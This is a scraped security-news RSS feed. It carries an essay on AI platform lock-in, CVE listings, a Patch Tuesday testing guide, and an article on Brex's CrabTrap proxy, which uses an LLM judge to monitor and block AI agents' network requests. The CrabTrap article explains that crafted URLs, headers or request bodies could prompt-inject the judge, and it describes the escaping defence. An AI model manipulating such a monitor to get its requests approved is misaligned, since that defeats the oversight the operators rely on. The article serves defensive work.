<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[High hardware costs see Red Hat offer a two-server edge rig, no mini-PC required]]></title>
<description><![CDATA[Worries about ‘prohibitive cost of powering, maintaining, and deploying a third node’]]></description>
<link>https://tsecurity.de/de/3680509/it-nachrichten/high-hardware-costs-see-red-hat-offer-a-two-server-edge-rig-no-mini-pc-required/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680509/it-nachrichten/high-hardware-costs-see-red-hat-offer-a-two-server-edge-rig-no-mini-pc-required/</guid>
<pubDate>Mon, 20 Jul 2026 09:48:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Worries about ‘prohibitive cost of powering, maintaining, and deploying a third node’]]></content:encoded>
</item>
<item>
<title><![CDATA[Rekord-Patch-Day: Microsoft schließt 570–622 Lücken, 3 Zero Days aktiv - ad-hoc-news.de]]></title>
<description><![CDATA[Die als CIAD-2026-0035 gekennzeichnete Mitteilung betrifft Windows, Office, Azure, Dynamics, SQL Server und den KI-Assistenten Copilot. Die ...]]></description>
<link>https://tsecurity.de/de/3680047/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-3-zero-days-aktiv-ad-hoc-newsde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680047/windows-server/rekord-patch-day-microsoft-schliesst-570-622-luecken-3-zero-days-aktiv-ad-hoc-newsde/</guid>
<pubDate>Mon, 20 Jul 2026 00:16:05 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die als CIAD-2026-0035 gekennzeichnete Mitteilung betrifft <b>Windows</b>, Office, Azure, Dynamics, SQL <b>Server</b> und den KI-Assistenten Copilot. Die ...]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-50653 | Microsoft Azure Active Directory up to 8.19.1 infinite loop]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Active Directory up to 8.19.1 and classified as critical. Affected by this issue is some unknown functionality. The manipulation results in infinite loop.

This vulnerability is reported as CVE-2026-50653. The attack can be launched remotely. No exploi...]]></description>
<link>https://tsecurity.de/de/3679990/sicherheitsluecken/cve-2026-50653-microsoft-azure-active-directory-up-to-8191-infinite-loop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679990/sicherheitsluecken/cve-2026-50653-microsoft-azure-active-directory-up-to-8191-infinite-loop/</guid>
<pubDate>Sun, 19 Jul 2026 23:08:50 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_active_directory">Microsoft Azure Active Directory up to 8.19.1</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality. The manipulation results in infinite loop.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-50653">CVE-2026-50653</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-50652 | Microsoft Azure Active Directory up to 5.7.0 Deserialization deserialization]]></title>
<description><![CDATA[A vulnerability has been found in Microsoft Azure Active Directory up to 5.7.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the component Deserialization Handler. The manipulation leads to deserialization.

This vulnerability is documented as CVE-2026-...]]></description>
<link>https://tsecurity.de/de/3679989/sicherheitsluecken/cve-2026-50652-microsoft-azure-active-directory-up-to-570-deserialization-deserialization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679989/sicherheitsluecken/cve-2026-50652-microsoft-azure-active-directory-up-to-570-deserialization-deserialization/</guid>
<pubDate>Sun, 19 Jul 2026 23:08:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/microsoft:azure_active_directory">Microsoft Azure Active Directory up to 5.7.0</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this vulnerability is an unknown functionality of the component <em>Deserialization Handler</em>. The manipulation leads to deserialization.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-50652">CVE-2026-50652</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47632 | Microsoft Azure Monitor Agent up to 1.64 certificate validation]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Microsoft Azure Monitor Agent up to 1.64. Impacted is an unknown function. Such manipulation leads to improper certificate validation.

This vulnerability is documented as CVE-2026-47632. The attack can be executed remotely. There is not an...]]></description>
<link>https://tsecurity.de/de/3678741/sicherheitsluecken/cve-2026-47632-microsoft-azure-monitor-agent-up-to-164-certificate-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678741/sicherheitsluecken/cve-2026-47632-microsoft-azure-monitor-agent-up-to-164-certificate-validation/</guid>
<pubDate>Sun, 19 Jul 2026 04:09:03 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_monitor_agent">Microsoft Azure Monitor Agent up to 1.64</a>. Impacted is an unknown function. Such manipulation leads to improper certificate validation.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-47632">CVE-2026-47632</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]></title>
<description><![CDATA[OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents w...]]></description>
<link>https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://venturebeat.com/security/openclaw-500000-instances-no-enterprise-kill-switch">OpenClaw</a> has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.</p><p>Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The <a href="https://www.brex.com/journal/building-crabtrap-open-source">open-source HTTP/HTTPS proxy</a> intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. </p><p>“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”</p><p>The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.</p><h2>How Brex targeted the transport layer</h2><p>The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. </p><p>“Any <a href="https://venturebeat.com/orchestration/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models">agentic system</a> with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. </p><p>Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.</p><p>Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.</p><p>Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”</p><p>“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”</p><p>Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. </p><p>This made the transport layer a core architectural component and natural starting point, he said. </p><p>By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set <i>HTTP_PROXY</i> and <i>HTTPS_PROXY</i> in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.</p><p>However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”</p><p>“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. </p><h2>The LLM-as-a-judge training loop</h2><p>CrabTrap combines deterministic static rules with an <a href="https://venturebeat.com/infrastructure/monitoring-llm-behavior-drift-retries-and-refusal-patterns">LLM-as-a-judge</a> for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.</p><p>The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.</p><p>“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”</p><p>Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. </p><p>From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. </p><p>All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. </p><p>“That closes the loop between observed denials and policy refinement,” Franceschi said. </p><h2>Core challenges and roadblocks </h2><p>Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. </p><p>However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said. </p><p>The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. </p><p>Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. </p><h2>Results, and where CrabTrap might evolve</h2><p>Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. </p><p>Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. </p><p>“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. </p><p>Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”</p><p>Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.</p><p>“The proxy became a discovery tool, not just an enforcement one,” he said. </p><h2>Areas for growth (and input from the open-source community)</h2><p>Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. </p><p>Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.</p><p>Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. </p><p>As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. </p><p>“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. </p><p>Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. </p><p>Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it). </p><p>The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”</p><p>“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. </p><h2>What other builders can learn from CrabTrap</h2><p>The response has been stronger than expected. <a href="https://github.com/brexhq/CrabTrap">CrabTrap has more than 700 stars on GitHub</a>. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.</p><p>The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. </p><p>“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
